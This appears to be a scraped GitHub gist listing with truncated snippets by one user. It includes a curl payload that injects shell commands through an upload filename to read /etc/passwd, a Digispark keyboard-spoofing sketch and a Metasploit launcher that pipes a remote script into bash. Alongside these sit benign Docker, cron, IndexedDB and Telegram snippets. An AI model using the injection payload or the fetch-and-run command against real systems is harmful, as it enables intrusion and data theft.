Skip to content

Instantly share code, notes, and snippets.

@santaklouse
santaklouse / gist:cb6af87a5e6e67734f1c7c4c696a2b99
Created May 15, 2019 12:47
PHP shell command injection tru upload file filename used in shell_exec
curl -F 'language=en' -F 'type=email' -F "[email protected]; filename=\"||test(){ $(echo $1 | python -c 'import sys, urllib as ul; print ul.unquote(sys.stdin.read())') ; };test cat%20%2fetc%2fpasswd > /tmp/1 ;.mp3\"" --compressed 'http://localhost/upload_file'
@santaklouse
santaklouse / nassh-stack.yml
Last active October 28, 2019 11:20
PwD stack yaml
version: '3'
services:
app:
container_name: app
image: santaklouse/nassh-tor-relay
ports:
- '8022:8022'
depends_on:
- torproxy
#include "DigiKeyboard.h"
/*
You can also change vendor of device =)
path ~/Library/Arduino15/packages/digistump/hardware/avr/1.6.7/libraries/DigisparkKeyboard/usbconfig.h
Below there are values for Apple Keyboard
#define USB_CFG_VENDOR_ID 0xac, 0x05
#define USB_CFG_DEVICE_ID 0x02, 0x02
#define USB_CFG_VENDOR_NAME 'A','p','p','l','e',' ','I','n','c','.'
#!/bin/bash
echo '[+] Initializing local clock'
ntpdate -B -q 0.debian.pool.ntp.org
source /usr/local/rvm/scripts/rvm
echo '[+] Initializing postgres'
@santaklouse
santaklouse / metasploit
Created January 6, 2020 19:21
run msf container by one command with preupdate and
docker run --rm -it -p 4444:4444 -p 80:80 -p 8080:8080 -p 443:443 -p 445:445 -p 8081:8081 -v /tmp/msf:/tmp/data -v ~/tmp:/opt/tmp --entrypoint '/bin/bash' strm/metasploit -c "$(curl -fsSL https://gist.github.com/santaklouse/8148598825f272c6eabf6f1cc30c770b/raw)"
document.cookie="VISITOR_INFO1_LIVE=oKckVSqvaGw; path=/; domain=.youtube.com";
window.location.reload();
@santaklouse
santaklouse / indexed_db.service.js
Last active February 26, 2020 14:01
draft for angularJs cache storage based on indexedDB
(function(angular){
'use strict';
angular.module('test.services.indexed_db', [])
.factory('CRC32', function () {
let makeCRCTable = () => {
let c,
crcTable = [],
n = 0;
@santaklouse
santaklouse / Dockerfile
Last active March 26, 2020 23:39
Symfony 3: example of Scheduled emails workflow
...
#setup task scheduler cron job
RUN (crontab -l ; echo "* * * * * $(which php) /srv/www/app/console ts:run >> /var/log/cron.log 2>&1") | crontab \
&& touch /var/log/cron.log
CMD ["cron", "-f"]
@santaklouse
santaklouse / gist:611b239b5e83cf3f81418b58e2dd8b70
Created March 27, 2020 00:06
Save text from cli (get url like pastebin)
bash# command 2>&1 | curl -F 'f:1=<-' ix.io
Or as function in .bashrc
function pastebin() { curl -F -s 'f:1=<-' ix.io; }
And
# ps aux | pastebin
@santaklouse
santaklouse / tg_say.sh
Created March 27, 2020 00:07
Send message to telegram bot
#!/bin/sh
API_TOKEN='TG_API_TOKEN'
CHAT_ID='CHAT_ID'
if [ -z "$CHAT_ID" ]; then
echo 'Please, define CHAT_ID first! See "chat":{"id":xxxxxxx string below:'
/usr/bin/wget -qO - https://api.telegram.org/bot$API_TOKEN/getUpdates
exit 1
fi